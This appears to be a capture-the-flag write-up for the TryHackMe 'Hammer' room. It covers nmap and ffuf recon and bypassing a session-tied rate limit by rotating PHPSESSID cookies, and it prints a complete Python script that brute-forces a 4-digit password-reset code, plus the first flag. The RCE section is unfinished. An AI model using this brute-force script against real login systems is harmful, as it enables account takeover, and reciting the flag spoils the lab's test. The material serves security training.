โ† Back to TryHackMe Rooms
๐Ÿ  TRYHACKME WRITEUP

Hammer

"With the Hammer in hand, can you bypass the authentication mechanisms and get RCE on the system?"

Medium Difficulty
Web Category
2 Flags

Tasks

Step-by-step writeup covering recon, auth bypass, and RCE.

Recon Task 1 โ€” Reconnaissance

๐Ÿ” Nmap Scan

Let's start with an Nmap scan. From the results, we can see that there are 2 open ports โ€” port 22 for SSH and port 1337 for an Apache web server.

Bash Terminal
nmap TARGET_IP -sS -sV -p- -T4
Nmap results

๐ŸŒ Web Enumeration

Going to the webpage on port 1337 brings us directly to the login page.

Nmap results

Inspecting the page source code reveals an interesting HTML comment about a naming convention โ€” all directories follow the format hmr_DIRECTORY_NAME.

Nmap results

๐Ÿ“ Directory Fuzzing

Using the discovered naming convention, we can fuzz for hidden directories with ffuf:

Bash ffuf
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -u http://TARGET_IP:1337/hmr_FUZZ
ffuf results

We discover the directory hmr_logs. Navigating to it reveals a file named error.logs โ€” and inside, something very useful:

Nmap results
  • Directory naming convention: hmr_DIRECTORY_NAME
  • Hidden directory discovered: hmr_logs
  • Leaked email address found in logs: [email protected]
Web Task 2 โ€” Bypass the Login

๐Ÿ“ง Password Reset

Navigate to /reset_password.php and submit the discovered email [email protected]. The app responds by asking for a 4-digit recovery code.

Reset password page

๐Ÿงช Rate Limit Analysis

A naive brute force attempt is blocked by rate limiting. Intercepting the request with Burp Suite reveals a Rate-Limit-Pending header in the response. The counter starts at 8 and decreases with each attempt โ€” once it reaches 0, the session is exhausted.

Rate limit header

Trying to reset the page, re-entering the email, or reopening the site all had no effect โ€” because the PHPSESSID cookie remained the same. This reveals the key insight: one PHPSESSID allows exactly 8 attempts before it's exhausted.

๐Ÿง  Bypass Strategy

Sending a request to /reset_password.php with an empty PHPSESSID generates a fresh session cookie โ€” each new session resets the rate limit counter. This means we can rotate PHPSESSID tokens to brute force all 10,000 possible 4-digit OTP codes.

1
POST to /reset_password.php with empty cookie โ†’ receive fresh PHPSESSID
2
Use that PHPSESSID to try up to 7 OTP codes (staying under the 8-attempt limit)
3
Before the limit is hit, rotate to a fresh PHPSESSID and continue
4
Repeat until the correct OTP is found

๐Ÿš€ Exploit Script

A Python script to automate the PHPSESSID rotation and OTP brute force:

Python exploit.py
import requests

TARGET = "http://10.48.167.101:1337"
EMAIL  = "[email protected]"

def get_new_session():
    """Get a fresh PHPSESSID by posting to reset_password.php"""
    r = requests.post(
        f"{TARGET}/reset_password.php",
        data={"email": EMAIL},
        allow_redirects=False
    )
    return r.cookies.get("PHPSESSID")

def try_otp(session_id, otp):
    """Submit an OTP code using a given PHPSESSID"""
    r = requests.post(
        f"{TARGET}/reset_password.php",
        data={"otp": otp},
        cookies={"PHPSESSID": session_id}
    )
    return r

def brute_force_otp():
    attempts_per_session = 7  # stay under the 8-try limit

    session_id = get_new_session()
    attempt_count = 0
    print(f"[*] Starting with PHPSESSID: {session_id}")

    for otp in range(10000):
        otp_str = str(otp).zfill(4)

        # Rotate session before hitting the rate limit
        if attempt_count >= attempts_per_session:
            session_id = get_new_session()
            attempt_count = 0
            print(f"[*] Rotated to new PHPSESSID: {session_id}")

        r = try_otp(session_id, otp_str)
        attempt_count += 1
        print(f"[.] Trying OTP {otp_str} -> {r.status_code}")

        if "invalid" not in r.text.lower() and r.status_code == 200:
            print(f"[+] SUCCESS! OTP: {otp_str}")
            print(r.text)
            break

if __name__ == "__main__":
    brute_force_otp()

Running the script cycles through all possible OTP codes, rotating sessions to stay under the rate limit โ€” until the correct code is found! ๐ŸŽ‰

OTP found

๐Ÿ”“ First Flag

After resetting the password and logging in with the new credentials, we land on the dashboard and capture the first flag!

Flag 1
๐Ÿšฉ FLAG 1 THM{AuthBypass3D}

๐Ÿ’ก Key Takeaways

  • Rate limiting tied to PHPSESSID can be bypassed by rotating session tokens
  • Always check response headers โ€” Rate-Limit-Pending revealed the session limit
  • Source code comments can leak critical information like directory naming conventions
  • Log files in hidden directories often contain sensitive data (emails, credentials)
Web Task 3 โ€” Remote Code Execution

๐Ÿ’ป Command Execution

The dashboard provides a command execution interface. Most commands are blocked โ€” however, ls works, confirming there is some form of command filtering in place.

โš ๏ธ Section In Progress

  • Continue the writeup from the RCE section here
  • Document the command filter bypass technique
  • Add the second flag below